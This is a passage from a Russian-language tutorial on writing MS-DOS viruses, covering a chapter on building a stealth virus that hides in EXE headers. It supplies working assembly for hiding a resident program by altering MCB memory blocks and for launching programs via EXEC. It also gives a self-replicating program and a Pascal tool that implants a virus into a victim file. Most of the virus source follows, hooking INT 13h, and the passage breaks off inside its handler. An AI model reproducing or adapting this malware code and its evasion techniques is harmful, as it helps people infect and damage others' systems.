результата. Будет обнаружено различие: при обработке сигнала прерывания Stealth-вирус себя замаскировал, тогда как при работе подпрограммы Adinf-а этого не произошло! Ну вот мы и еще кое-что узнали. Конец главе. гл.8 СОЗДАНИЕ ВЕСЬМА ПРОДВИНУТОГО (по сравнению с предыдущими) ВИРУСА, ПОДОБНО V2, ПРЯЧУЩЕМУСЯ В ЗАГОЛОВОК ЕХЕ-ФАЙЛА, НЕПОРТЯЩЕГО ДАННЫЕ И ЗАПУСКАЮЩЕГО ПОРАЖЕННЫЙ ФАЙЛ С ПЕРВОГО РАЗА (самая длинная глава) ═══════════════════════════════════════════════════════════════════════ Для того чтобы создать этот вирус, нам нужно научиться двум новым, край- не важным фенькам и одной мелкой фигне. Первая из двух крайне важных фенек :──────────────┐ НОВЫЙ СПОСОБ ПОСАДКИ РЕЗИДЕНТОВ. MCB-БЛОКИ. │ ──────══════════════════════════════════════════──┘ Всего существует 6 основных способов посадки резидента. Вирусы реализуют их все. Перечислим эти способы. 1. При помощи прерывания INT 27h (мы до сих пор лишь его и использовали). 2. При помощи прерывания INT 21h (функция 31h). Очень похоже на способ 1. 3. Работая с МСВ-блоками (чисто вирусный метод). 4. Внедряясь в тело системного драйвера (чисто вирусный метод). 5. Внедряясь в таблицу векторов или др. системную область (чисто вирус- ный метод). 6. Изменяя счетчик свободной памяти при загрузке системы (чисто вирусный метод). Скажем сразу, что если программист слабо знает особенности системы MS-DOS, то использование методов 4 и 5 может кончиться аварией. Скажем сразу, что если используются классические методы 1 и 2, то анти- вирусные мониторы легко обнаружат вирус, он отображается даже в карте памяти под именем зараженной программы, которая посадила резидент. Скажем сразу, что метод 6 используется исключительно при загрузке PC (см. одну из следующих глав "Бутовые вирусы"). Остается единственный годный к употреблению метод 3 -- посадка с коррек- тировкой МСВ-блоков. Ниже мы рассмотрим один из способов такой корректировки. Вся память PC разбита на так называемые МСВ-блоки (Memory Control Block) -- блоки управления памятью. Эти блоки выстроены в цепочку и каждый снабжен своим дескриптором (описателем). В дескрипторе в частности говорится какая длина у блока, является ли он последним в цепочке блоков и т.д. Следующий блок начинается сразу за предыдущим. Выглядит это так: ┌──────────────────────────────────────────────────────────┐ │ рис.8 │: └──────────────────────────────────────────────────────────┘ ┌┬┬┬┬┬┬┬┬┬──────────────┌┬┬┬┬┬┬┬┬┬───────────────┌┬┬┬┬┬┬┬┬┬────────── └┴┴┴┴┴┴┴┴┴──────────────└┴┴┴┴┴┴┴┴┴──────────...──└┴┴┴┴┴┴┴┴┴────────── описатель блок 1 описатель блок 2 описатель блок n блока 1 блока 2 блока n Описатель последнего блока отмечен по-особому. Вот как устроен описатель МСВ-блока (по данным thelp /4/): Смещ. Длина Содержимое ───── ───── ──────────────────────────────────────────────────────────────── ┌───┐ ┌──> 'M'(4dH) - за этим блоком есть еще блоки +0 1 │Тип├──┴──> 'Z'(5aH) - данный блок является последним ├───┴───┐ +1 2 │Владелец параграф владельца (для FreeMem); 0 = владеет собой сам ├───┴───┤ +3 2 │Размер │ число параграфов в этом блоке распределения ├───┴───┴──────── ─ ────┐ +5 0bH │зарезервировано │ └───┴───┴───┴───┴ ─ ┴───┘ +10H ? Блок памяти начинается здесь и имеет длину (Размер*10H) байт. Параграф по этому адресу возвращает функция 48H AllocMem. Замечания: * блоки памяти всегда выравнены на границу параграфа ("сегмент блока") * блоки M-типа: следующий блок находится по (сегмент_блока+Размер):0000 * блоки Z-типа: (сегмент_блока+Размер):0000 = конец памяти (намек: a000H=640K) * После функции 4bH Exec, Z-блок начинается с ( PSP -1):0000 нового процесса Обратим внимание на последнее предложение. Из него можно сделать следу- ющий вывод: в момент, когда выполняется какая-либо программа -- последний МСВ-блок закреплен за нею. PSP этой программы строится сразу за дескриптором МСВ-блока. Когда программа завершается (процесс "умирает") специальная сис- темная подпрограмма освобождает этот последний из МСВ-блоков для других це- лей. При этом информация о том, сколько памяти следует освободить, берется из дескриптора МСВ-блока. Отметим еще, что сама выполняемая программа для се- бя также отмечает, сколько памяти находится в ее распоряжении (как правило новый запускаемый процесс получает всю доступную в этот момент память). Эта информация хранится в PSP (слово по смещению 2 от начала PSP указывает на вершину свободной памяти. Системная п/п-ма, освобождающая память, может вос- пользоваться и этими сведениями. Резюме: Если мы хотим урвать себе немного памяти под наш резидент, мы должны как-то обмануть Системную п/п-му, освобождающую память. Это можно сде- лать, заменив данные в дескрипторе последнего (который будет освобожден) МСВ-блока а также -- данные в PSP процесса, занимающего этот блок. Мы должны их уменьшить на величину освобождаемой памяти. Если мы сделаем это, то после "смерти" процесса и освобождения принадлежавшей ему памяти, останется нигде не описываемая область памяти, потерянная для DOS. Туда-то мы и можем смело сажать резидент. Вот как это выглядит (ХХ1 и ХХ2 -- значения длины МСВ-блока и вершины свободн. памяти в PSP процесса): ┌──────────────────────────────────────────────────────────┐ │ рис. 9 │: └──────────────────────────────────────────────────────────┘ до старта процесса: ┌─────────────────────────────────────────────────────────────────────┐ └─────────────────────────────────────────────────────────────────────┘ └────────────────────────────свободная────────────────────────────────┘ память после старта процесса: (образовался новый МСВ-блок) ┌─────ХХ1─────┬ХХ2────────┬───────────────────────────────────────────┐ └─────────────┴───────────┴───────────────────────────────────────────┘ дескриптор │PSP процесса процесс ││ последнего └───────────────────────последний──────────────────────┘│ МСВ-блока МСВ-блок вершина сво-─┬┘ ХХ1 - его размер бодной памяти┘ ХХ2 после нашей корректировки: (меняем значения ХХ1,ХХ2 на ХХ1',ХХ2') /процесс при этом не пострадает -- он использует лишь малую часть имеющейся у него памяти/ ┌─────ХХ1'────┬ХХ2'───────┬──────────────────────────────────┬────────┐ └─────────────┴───────────┴──────────────────────────────────┴────────┘ дескриптор │PSP процесса процесс ││ последнего └────────────────────последний────────────────┘│ МСВ-блока МСВ-блок вершина сво-─┬┘ ХХ1' бодной памяти┘ ХХ2' после "гибели" процесса: ┌────────────────────────────────────────────────────────────┬────────┐ └────────────────────────────────────────────────────────────┴────────┘ └────────────────────────────свободная───────────────────────┘└───┬───┘ память │ │ этот кусок теперь наш ────────────────────┘ Вот пример реализации посадки резидента в МСВ-блок: ┌──────────────────────────────────────────────────────────┐ │ пример 11 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N11 - резидент, сажаемый в МСБ-блок ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; MOV AX,CS:[02] ;берем вершину свободной памяти ; ; (в параграфах) из PSP ; SUB AX,4h ;уменьшаем ее на 4h (память ; ; уменьшится при этом на 40h) ; ; (мы просто прикинули, что ; ; 4 параграфов нам хватит, хо- ; ; тя,- может хватить и одного) ; ; ;─────пересылка резидента──┐ MOV SI,OFFSET int05_treater ;копируем из источника │ ; ; DS:int05_treater │ ; ; │ MOV ES,AX ;копируем в приемник ES:00 │ XOR DI,DI ; (в ES - новая вершина │ ; ; свободной памяти) │ MOV CX,OFFSET rezident_end - OFFSET int05_treater ; │ CLD ; │ REPE MOVSB ;──────────────────────────┘ ; MOV BX,DS ;┐перенацеливаем DS с PSP DEC BX ;├на дескриптор МСВ-блока MOV DS,BX ;┘ ; SUB word ptr DS:[03h],4h ;уменьшаем размер МСВ-блока ; ; (слово в описателе МСВ) SUB word ptr DS:[12h],4h ;уменьшаем вершину свободной ; ; памяти (слово в PSP) ; CLI ;кладем в таблицу векторов XOR BX,BX ; адрес нашего обработчика┐ MOV DS,BX ; прерывания 05 ├┐ MOV word ptr DS:[5*4 ],0 ; ──────> OFFSET ┐ ┘│ MOV word ptr DS:[5*4+2],AX ; ──────> SEGMENT ┴───────┘ STI ;в AX - сегмент места, куда ; ; был переслан резидент RET ;обычный выход в DOS ; int05_treater:PUSH AX ;┬тело резидента; теперь нам MOV AX,0E04h ;│абсолютно не важно в каком INT 10h ;│месте программы его распо- POP AX ;│лагать IRET ;┘ rezident_end: ; ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Коментарии: Мы посадили резидент на прерывание 05 (печать экрана, - если помните). При нажатии Print Scrin он напечатает ромбик. Мы все сделали, как описывали выше; - уменьшили значения величин "длина МСВ-блока" (слово по сме- щению 03 в дескрипторе МСВ-блока) и "вершина свободной памяти" (слово по сме- щению 02 в PSP процесса). Вследствии этого мы стали владельцами куска памяти, начинающегося с адреса новой вершины свободной памяти. Величина этого куска = тому, на сколько мы уменьшили длину МСВ-блока и вершину свободной памяти (в параграфах). После этого в полученное убежище мы переслали код резидента. Скомпилируйте и запустите эту программу. А после этого посмотрите карту владельцев памяти (либо при помощи Volcov Comander-а, либо -- какой-нибудь специальной утилиты). В карте Volcov Comander-а наш резидент не виден!!! В картах, выдаваемыми продвинутыми утилитами фиксируется кем-то занятый МСВ-блок, но не показаны зацепленный им вектор прерывания (нужно отдельно изучать список векторов). Вышепоказанный метод посадки резидентов ко всему прочему еще и сильно экономит оперативную память; не вызывает ее фрагментации. Экономия возможна, т.к. резиденты, сажаемые методами 1 и 2 состоят на 256 байт из PSP посадившей их программы-инициализатора (самому резиденту такое наследство нА фиг не нуж- но).Есть и дополнительные потери памяти. И еще одно преимущество - при таком способе программа-инициализатор не обязана завершаться в момент окончания посадки резидента. Вторая из двух крайне важных фенек :────────────────────────────────────────┐ ЗАПУСК ПРОГРАММЫ ИЗ ПРОГРАММЫ. Функция 4Bh (EXEC) прерывания 21h DS-DOS│ ──────══════════════════════════════════════════════════════════════════════┘ Очень часто программы, запущенные нами, запускают другие программы (свои дочерние процессы). Например - игрушка F-115. Мы запускаем ее при помощи фай- ла f115.com , который столь мал, что вряд-ли является основной исполняемой программой. Этот файл, в свою очередь запускает что-то другое. Очень часто вирусу необходимо запустить какую-то внешнюю программу. => И мы должны это изучить. Вирусы запускают внешние программы, как правило, при помощи прерывания 21h функции 4Bh (EXEC). => изучим эту фишку. Обычное прерывание, обычная функция. Мы знаем как такими вещами пользо- ваться. ОДНАКО ПОДГОТОВИТЬ НЕОБХОДИМЫЕ УСЛОВИЯ ДЛЯ РЕАЛИЗАЦИИ EXEC ОКАЗЫВАЕТ- СЯ НЕ ТАК ПРОСТО. Для этого мы должны познакомиться с двумя часто используемыми фиговина- ми: DTA (область передачи данных -- Disk Transfer Area) и EPB (блок парамет- ров функции выполнения процесса -- Exec Parameter Block). Весьма важные фиго- вины. DTA (область передачи данных) -- специальная область, начинается в PSP исполняемой программы по адресу 80h и простирается до FFh. Сразу после начала выполнения программы-владелца-PSP устроена она так: в первом ее байте содер- жится число символов, введенных с клавиатуры после ввода имени программы. Со второго байта начинаются введенные символы. О DTA мы пока-что должны лишь знать то, что такая штука существует, где она находится и -- какого она раз- мера. Перед запуском EXEC мы должны сохранить где-то нашу DTA (некоторые ви- рус-халявщики этого не делают), а после завершения дочернего процесса и воз- врата управления основной программе -- восстановить исходную DTA. EPB (блок параметров функции выполнения процесса) -- без него не обой- тись. Если хотите воспользоваться функцией EXEC, Вы должны сначала соорудить EPB. EPB -- некий описатель. Вот его формат (по данным thelp): ┌───────объясним ниже Блок параметров EXEC для DOS Fn 4Bh (при AL=0) Смещ. Длина Содержимое ───── ─── ────────────────────────────────────────────────────────────────── ┌───────┐ +0 2 │ │ сегмент среды для порождаемого (0000=наследовать текущий) ├───┴───┴───────┐ +2 4 │ смещ. сегмент│ адрес командной строки для помещения в PSP + 80H ├───┴───┼───┴───┤ +6 4 │ смещ. сегмент│ адрес блока FCB для помещения в PSP + 5cH ├───┴───┼───┴───┤ +0ah 4 │ смещ. сегмент│ адрес блока FCB для помещения в PSP + 6cH └───┴───┴───┴───┘ Первое слово (сегмент среды для порождаемого) нас пока-что не волнует, пусть будет нулем. Это означает, что порождаемый процесс наследует сегмент среды процесса-родителя. Далее -- четырехбайтный адрес командной строки. Он будет формироваться нами так: PSP:80h (первое слово -- 80h; второе -- сегментный адрес PSP). Далее -- четырехбайтный адрес блока FCB1. Он будет формироваться нами так: PSP:5Ch (первое слово -- 5Ch; второе -- сегментный адрес PSP). Далее -- четырехбайтный адрес блока FCB2. Он будет формироваться нами так: PSP:6Ch (первое слово -- 6Ch; второе -- сегментный адрес PSP). Обратите внимание, - все объекты описанные в EPB, имеют сегментный адрес PSP родительского процесса. => все эти объекты наследуются дочерним процес- сом. Иногда это бывает неприемлемо. Иногда необходимо определить уникальную командную строку, сегмент среды и т.д. Здесь мы дадим упрощенный вариант ис- пользования EXEC, когда этого не требуется. Ну вот и все о EPB. Перед запуском EXEC мы должны освободить место для дочернего процесса, т.к. основной (родительский) процесс владеет ВСЕМ доступным объемом памяти. Для этого надо воспользоваться специальной функцией 4Ah прерывания 21h. Эта функция сжимает/раздувает владения процесса до указанной ей длины. Вот вход- ные и выходные параметры функции: Вход AH ║ 4Ah (код функции) ES ║ сегмент распределенного блока памяти BX ║ желаемый размер блока в 16-байтовых параграфах ──────────╫──────────────────────────────────────────────────── Выход AX ║ код ошибки если CF установлен BX ║ наибольший доступный блок (если расширение неудачно) Понятно, что сегментом распределенного блока памяти будет сегментный ад- рес PSP процесса-родителя. Желаемый размер блока -- сколько памяти оставить за процессом-родителем (включая его PSP!). Перед запуском EXEC мы должны переместить стек родителя в его новые вла- дения (ведь прежние мы значительно уменьшили). Вот как выглядит наш мудрЕж с распределением памяти и переопределением стека: ┌──────────────────────────────────────────────────────────┐ │ рис.10 │: └──────────────────────────────────────────────────────────┘ до подготовки к вызову EXEC: ┌─────┬────родительский процесс (узурпировал всю память)───────────────── └PSP──┴──────┬══════════════════════════════════┬──────────────────────── SS(если не СОМ-файл) SP └──────────────────────стек────────┘ вот как должно быть перед вызовом EXEC: ┌─────┬родительский процесс───────┬─здесь возникнет дочерний процесс ──── └PSP──┴──┬═════════════════════┬──┴────────────────────────────────────── ┌───SS(если не СОМ-файл) SP │ └─────────стек────────┘ │ └──а если это СОМ-файл - то SS указывает на PSP и менять его не надо Перед запуском EXEC мы должны сохранить в теле нашей основной программы значения регистров SS,SP,DS,ES, а после завершения дочернего процесса -- вос- становить их. РЕЗЮМЕ│ Вот какая последовательность действий необходима для EXEC: ──────┘ 1. Переопределяем стек (пускаем его впритык к нашему сегменту кода). Если процесс-родитель - СОМ-прогр-ма, то до нашего вмешательства было так: SP = (SS=PSP)+65535 2. Сокращаем память родительского процесса, чтобы дать место дочернему (новые владения родительского процесса должны накрывать перемещенный стек) 3. Сохраняем в сегменте кода SS,ES,SP,DS 4. Сохраняем в сегменте кода DTA 5. Заполняем EPB 6. ═════─Даем вызов EXEC─═════════════ 7. Восстанавливаем DTA 8. Восстанавливаем SS,ES,SP,DS . . . . . . . . . . . . . . . . 9. Завершаем родительск. программу Вот текст примера (коментарии излишни): ┌──────────────────────────────────────────────────────────┐ │ пример 12 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N12 пример использования функции EXEC ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; head: JMP Short initial ;прыжок через данные ; ; namef DB 'TETRIS.EXE',0 ;ASCIZ -строка - полн. имя файла ; ; ; ;блок параметров EXEC процесса (EPB)┐ exec_EPB DW 0 ; сегментный адрес строки вызова │ DW 80h ;─┬указатель на командн. строку │ DW 0 ;─┘ в PSP PSP:80h │ DW 5Ch ;─┬указатель на блок FCB1 │ DW 0 ;─┘ в PSP PSP:5Ch │ DW 6Ch ;─┬указатель на блок FCB2 │ DW 0 ;─┘ в PSP PSP:6Ch ─────────────────┘ ; ; ; !(SS = PSP) initial: MOV AX,OFFSET save_arrea + 200h ;необходимо позаботиться CLI ; о стеке (он должен быть перемещен MOV SP,AX ; в охраняемую область, начинающуюся STI ; следом за кодом процесса-родителя ; ; и не наследуемую дочерним процессом) ; ; ;необходимо дать место дочернему про- ; !(ES = PSP) ; цессу (для этого нужно сжать блок MOV AH,4Ah ; памяти родителя до граници охраняе- MOV BX,60h ; мой области (сам родитель+стек+хра- INT 21h ; нилище SS,ES,SP,DTA); ES - сегмент, ; ; BX-длина (в параграфах) охраняемой ; ; области) здесь мы решили что BX=60h ; MOV word ptr CS:[save_arrea+0],SS ;необходимо сохранить MOV word ptr CS:[save_arrea+2],SP ; значения регистров MOV word ptr CS:[save_arrea+4],ES ; SS,SP,ES,DS в коде MOV word ptr CS:[save_arrea+6],DS ; родителя ; MOV CX,20h ;сохранение DTA────┐ MOV SI,80h ; в коде родителя │ MOV DI,OFFSET save_arrea + 8 ; │ CLD ; DS:SI ---> ES:DI│ REPE MOVSB ;──────────────────┘ ; ; PUSH CS ;необходимо заполнить блок параметров POP DS ; запускаемого дочернего процесса MOV AX,CS ; (указываем сегмент. адрес PSP MOV exec_EPB+4h,AX ; для родительского MOV exec_EPB+8h,AX ; процесса) MOV exec_EPB+0Ch,AX ; MOV DX,OFFSET namef ;DS:DX адрес ASCIIZ строки имени MOV BX,OFFSET exec_epb ;ES:BX адрес блока параметров EPB XOR AL,AL ;код запуска = 0 (EXECUTE) MOV AH,4Bh ; (еще есть = 3; - это OVERLAY) INT 21h ;════════ EXEC ! ! ! ═════════════ ; ; CLI MOV SS,word ptr CS:[save_arrea+0] ;восстановление MOV SP,word ptr CS:[save_arrea+2] ; сохраненных MOV ES,word ptr CS:[save_arrea+4] ; ранее регистров MOV DS,word ptr CS:[save_arrea+6] STI ; MOV CX,20h ;восстановление DTA┐ MOV DI,80h ; │ MOV SI,OFFSET save_arrea + 8 ; ES:DI ---> DS:SI │ CLD ; │ REPE MOVSB ;──────────────────┘ ; ; MOV AX,4C00h ;выход в DOS (еще INT 21h ; один способ, опи- save_arrea: ; ; санный в thelp) ; MainProcedure ENDP ; CodeSegment ENDS END Start И последнее, чему нам нужно научиться для создания нашего вируса -- соз- давать на диске файлы и стирать их. Здесь все достаточно просто: ┌─Открыть для создания файл -- функция 3Ch прерывания 21h создание─┤ Записать в открытый файл что-то -- функция 40h прерывания 21h файла └─Закрыть файл -- функция 3Eh прерывания 21h ┌─ └─Стереть файл -- функция 41h прерывания 21h Все данные возьмем из thelp: DOS Fn 3cH: Создать файл через описатель ┌─────────╥───────╥─────────────────────────────────── │ Вход ║ AH ║ 3Ch (код функции) └─────────╢ DS:DX ║ адрес строки ASCIIZ с именем файла ║ CX ║ атрибут файла 0-нормальн. 3-hidden и т.д. ┌─────────╫───────╫─────────────────────────────────── │ Выход ║ AX ║ код ошибки если CF установлен └─────────╢ ║ описатель файла если ошибки нет ╙───────╨─────────────────────────────────── DOS Fn 40H: Писать в файл через описатель ┌─────────╥───────╥─────────────────────────────────── │ Вход ║ AH ║ 40h (код функции) └─────────╢ BX ║ описатель файла ║ DS:DX ║ адрес буфера, содержащего записываемые данные ║ CX ║ число записываемых байт ┌─────────╫───────╫─────────────────────────────────── │ Выход ║ AX ║ код ошибки если CF установлен └─────────╢ AL ║ число реально записан. байт <───── лучший тест для ошибок ╙───────╨─────────────────────────────────── DOS Fn 3eH: Закрыть описатель файла ┌─────────╥───────╥─────────────────────────────────── │ Вход ║ AH ║ 3Eh (код функции) └─────────╢ BX ║ описатель файла ┌─────────╫───────╫─────────────────────────────────── │ Выход ║ AX ║ код ошибки если CF установлен └─────────╨───────╨─────────────────────────────────── DOS Fn 41H: Удалить файл ┌─────────╥───────╥─────────────────────────────────── │ Вход ║ AH ║ 41H └─────────╢ DS:DX ║ адрес строки ASCIIZ с именем файла ┌─────────╫───────╫─────────────────────────────────── │ Выход ║ AX ║ код ошибки если CF установлен └─────────╨───────╨─────────────────────────────────── Ниже показана короткая программа, которая при запуске записывает саму себя в исполняемый файл. Скомпилируйте ее и запустите. На диске возникнет файл SELF1.COM. Запустите SELF1.COM. На диске возникнет файл SELF2.COM. За- пустите SELF2.COM. На диске возникнет файл SELF3.COM. И так далее... Это не вирус. Но он размножается. Программа очень проста => без коментариев. ┌──────────────────────────────────────────────────────────┐ │ пример 13 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N13 пример работы с файлами ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; my_head: JMP Short initial ;прыжок через данные ; namef DB 'SELF0.COM',0 ;имя, под которым прог- ; ; рама запишет себя на ; ; диск ; ; f_number DW 0 ;логич. номер файла ; ; initial: INC byte ptr CS:[namef+4] ;здесь мы модифицируем ; ; имя, под которым прог- ; ; рама запишет себя на ; ; диск ; ;┌──открыть файл для записи (уже существовавший файл с таким же─┐ ;│ именем будет при этом уничтожен) │ ;└──────────────────────────────────────────────────────────────┘ MOV DX,OFFSET namef ;DS:[DX] адрес ASCIZ (имя файла) MOV CX,0 ;атрибут файла (0-нормальн.) MOV AH,3Ch ;функция "открыть для создания" INT 21h ;при открытии файлу присвоят номер MOV CS:[f_number],AX ;сохраним номер файла ; ;┌──записать в файл что-то из буфера, расположенного по адресу ─┐ ;│ ES:DX │ ;└──────────────────────────────────────────────────────────────┘ MOV BX,AX ;занесем номер файла в BX MOV DX,OFFSET my_head ;ES:[DX] адрес буфера вывода MOV CX,my_end - my_head ;CX=сколько байт из буфера запишем ; в файл MOV AH,40h ;функция "записать в файл" INT 21h ; (в файл будет записан код ; ; самой программы) ; ;┌──закрыть файл (это тоже необходимо)──────────────────────────┐ ;└──────────────────────────────────────────────────────────────┘ MOV BX,CS:[f_number] ;занесем номер файла в BX MOV AH,3Eh ;функция "закрыть файл" INT 21h ; ; RET my_end: ; ; MainProcedure ENDP ; CodeSegment ENDS END Start Теперь представим блок-схему комплексного вируса, ради которого мы так долго мучались: ┌──────────────────────────────────────────────────────────┐ │ рис.11 │: └──────────────────────────────────────────────────────────┘ ┌────посадка резидента в MCB-блок────────────────┐ └─────────────────────┬──────────────────────────┘ │ ┌────запись следующего за кодом вируса кода──────┐ │ зараженной программы во вспомогательный │ │ файл на диск │ └─────────────────────┬──────────────────────────┘ │ ┌────запуск этого вспомогательного файла (EXEC)──┐ │ (посаженный резидент поможет загрузчику │ │ прочитать его как нормальный) │ └─────────────────────┬──────────────────────────┘ │ └──────────>╔═выполняется файл═╗ ║ . . . . . ╟┐ ╚══════════════════╝│ │ ┌────стираем записанный ранее вспомогательн. файл┐<───┘ └─────────────────────┬──────────────────────────┘ ┌─STOP─┐ └──────┘ Вся эта цепочка действий выполняется ЛИШЬ ОДИН РАЗ -- когда в память са- жается резидент. После того, как резидент "прописался", он при каждом запуске зараженного файла помогает ему запуститься как нормальному. Таким образом, код вируса, не входящий в процедуру обработки прерывания 13h, выполняется лишь при самом первом запуске зараженного файла, когда резидента еще нет и некому обмануть программу-загрузчик. В принципе можно обойтись и без записи вспомогательного файла на диск. Можно узнать имя самОй работающей в данный момент программы и запустить ее снова (уже под контролем резидента). Это возможно, если добраться до сегмента среды для запускаемого файла. Там хранится имя запущенной в данный момент программы (подробнее -- см. thelp). Есть некоторая сложность. Чтобы получить самую первую зараженную прог- рамму, нужно имплантировать вирус в ее заголовок (вирусы V1 и V2 в этом не нуждались). Вирус, который может быть запущен, как отдельный файл (такими бы- ли V1 и V2), будем в дальнейшем называть существующим в виде выделенной куль- туры (по аналогии с биовирусологией). Кстати, если иметь много вирусов в виде чистых культур, можно написать вирус-носитель, содержащий в себе эти вирусы в зашифрованном виде и "выпускающий" их время от времени. Имплантацию можно произвести при помощи программы на языке высокого уровня -- PASCAL-е или С. Например вот такой: ┌──────────────────────────────────────────────────────────┐ │ пример 14 │: └──────────────────────────────────────────────────────────┘ {┌Программа имплантирует вирус в ─┐ │файл-жертву. Имена жертвы и вируса │ │передается как параметры, например:│ │ │ │ Maker.exe virus.com tetris.exe │ │ │ │В заголовке жертвы должно быть │ │достаточно свободного места. │ └────────────────────────────────────┘} Program Maker; Uses Dos; Var fr,fw : file of byte; i : longint; b : byte; MN : SearchRec; Victim,Implant : String; Begin Victim := Paramstr(2); Implant:= Paramstr(1); Findfirst(Implant,0,MN); Assign(fr,Implant); Reset(fr); Assign(fw,Victim); Reset(fw); read(fr,b); Write(fw,b); read(fr,b); Write(fw,b); Seek(fw,$40); Seek(fr,$40); Writeln('Size=',MN.size); for i:=1 to MN.size-$40 do begin Read(fr,b); Write(fw,b); end; Close(fw); Close(fr); End. Структура процедуры обработки прерывания 13h почти такая же, как и в V2. Нужно лишь учесть, что теперь сегментный адрес резидента -- не адрес PSP по- садившей его программы, а адрес занятого им MCB-блока. Ниже приводим текст основной программы. Пожалуй единственное замечание: вспомогательный файл, в который мы запи- сываем следующий за кодом вируса код зараженной программы имеет размер EE00h, т.к. это -- максимальный размер файла, который наш вирус будет заражать. ┌──────────────────────────────────────────────────────────┐ │ пример 15 │: └──────────────────────────────────────────────────────────┘ TITLE Это - COM. программа N15 -- уже достаточно интеллектуальный вирус ASSUME CS:CodeSegment ;───────────────────────────────────────────────────────────────────────── CodeSegment SEGMENT PARA ORG(100h) Start: MainProcedure PROC NEAR ; ; head: JMP Short initial ;прыжок через данные ; ;────────────────────────────── данные ─────────────────┐ header_info DB 62 DUP(0) ;хранилище настроек │ namef DB 'C:\TH$.EXE',0 ;этот файл мы пишем-запускаем-сти-│ ; ; раем │ ; ; │ f_number DW 0 ;хранилище описателя файла │ ; ; │ ; ;блок параметров EXEC процесса ──┐│ exec_EPB DW 0 ; сегментный адрес строки вызова││ DW 80h ;─┬указатель на командн. строку ││ DW 0 ;─┘ в PSP PSP:80h ││ DW 5Ch ;─┬указатель на блок FCB1 ││ DW 0 ;─┘ в PSP PSP:5Ch ││ DW 6Ch ;─┬указатель на блок FCB2 ││ DW 0 ;─┘ в PSP PSP:6Ch ──────────────┘│ ; ; │ ; ; │ ; ; │ ; ;данные (хранилище для │ saved_int13: DD 0 ; адреса стандартного обра- │ ;│ ; ботчика прерывания 13h │ ;└────────────────────── -- 2 слова) ───────────────────┘ ; ; ;┌──посадка резидента в MCB-блок────────────────────────┐ ;└──────────────────────────────────────────────────────┘ initial: MOV AX,CS:[02] ;берем вершину свободной памяти ; ; (в параграфах) ; SUB AX,20h ;уменьшаем ее на 20h (в парагр.) ; MOV SI,OFFSET head ;копируем из источника DS:head MOV ES,AX ;копируем в приемник ES:00; в ES XOR DI,DI ; - новая вершина своб. памяти MOV CX,OFFSET rezident_end - OFFSET head CLD REPE MOVSB ; MOV BX,DS DEC BX MOV DS,BX ;уменьшаем размер МСВ-блока SUB word ptr DS:[03h],20h ;уменьшаем вершину свободной SUB word ptr DS:[12h],20h ; памяти ; ; XOR BX,BX ; сохраняем старый вектор MOV DS,BX ; 13h в переслан. копию MOV AX,DS:[13h*4+0] MOV word ptr ES:[saved_int13-100h+0],AX MOV AX,DS:[13h*4+2] MOV word ptr ES:[saved_int13-100h+2],AX ; CLI ;кладем в таблицу векторов наш 13 MOV word ptr DS:[13h*4+0],OFFSET int13_treater-100h ;─>OFFSET MOV word ptr DS:[13h*4+2],ES ;──────>SEGMENT STI ; ;┌────запись зараженной программы во вспомогательный────┐ ;│ файл на диск │ ;└──────────────────────────────────────────────────────┘ PUSH CS POP DS MOV DX,OFFSET namef ;DS:[DX] адрес ASCIZ (имя файла) MOV CX,0 ;атрибут файла (0-нормальн.) MOV AH,3Ch ;функция "открыть для создания" INT 21h ;при открытии файлу присвоят номер MOV CS:[f_number],AX ;сохраним номер файла ; MOV BX,AX ;занесем номер файла в BX MOV DX,OFFSET head ;ES:[DX] адрес буфера вывода MOV CX,0FEEEh ;CX=сколько байт из буфера запишем MOV AH,40h ;функция "записать в файл" INT 21h ; MOV BX,CS:[f_number] ;занесем номер файла в BX MOV AH,3Eh ;функция "закрыть файл" INT 21h ; ; ;┌────запуск вспомоготельного файла (резидент поможет)──┐ ;└──────────────────────────────────────────────────────┘ MOV AX,OFFSET starter_end + 200h ;необходимо позаботиться MOV CX,CS ; о стеке (он должен быть перемещен CLI ; в охраняемую область, начинающуюся MOV SS,CX ; следом за кодом процесса-родителя MOV SP,AX ; и не наследуемую дочерним процессом) STI ; MOV AH,4Ah ;необходимо дать место дочернему про- PUSH CS ; цессу (для этого нужно сжать блок POP ES ; памяти родителя до граници охраняе- MOV BX,60h ; мой области (стек+хранилище SS,ES, INT 21h ; SP); ES-сегмент; BX-длина (в па- ; ; раграфах) охраняемой области) ; MOV word ptr CS:[save_arrea+0],SS ;необходимо сохранить MOV word ptr CS:[save_arrea+2],SP ; значения регистров MOV word ptr CS:[save_arrea+4],ES ; SS,SP,ES,DS MOV word ptr CS:[save_arrea+6],DS ; ; ; MOV CX,20h ;сохранение DTA────┐ MOV SI,80h ; │ MOV DI,OFFSET starter_end + 8 ; DS:SI ---> ES:DI │ CLD ; │ REPE MOVSB ;──────────────────┘ ; ; PUSH CS ;необходимо заполнить блок параметров POP DS ; запускаемого дочернего процесса MOV AX,CS ; (указываем сегмент. адрес PSP MOV exec_EPB+4h,AX ; для родительского MOV exec_EPB+8h,AX ; процесса) MOV exec_EPB+0Ch,AX ; MOV DX,OFFSET namef ;DS:DX адрес ASCIIZ строки имени MOV BX,OFFSET exec_epb ;ES:BX адрес блока параметров EPB XOR AL,AL ;код запуска = 0 (EXECUTE) MOV AH,4Bh INT 21h ; ; CLI MOV SS,word ptr CS:[save_arrea+0] ;восстановление MOV SP,word ptr CS:[save_arrea+2] ; сохраненных MOV ES,word ptr CS:[save_arrea+4] ; ранее регистров MOV DS,word ptr CS:[save_arrea+6] STI ; MOV CX,20h ;восстановление DTA┐ MOV DI,80h ; │ MOV SI,OFFSET starter_end + 8 ; ES:DI ---> DS:SI │ CLD ; │ REPE MOVSB ;──────────────────┘ ; ;┌─────стираем записанный ранее вспомогат. файл───────┐ ;└────────────────────────────────────────────────────┘ MOV DX,OFFSET namef MOV AH,41h INT 21h ; INT 20h ;выход в DOS ; ; ;┌──────────наша п/п-а обработки прерывания 13─────────────────┐ int13_treater:;│ (целиком 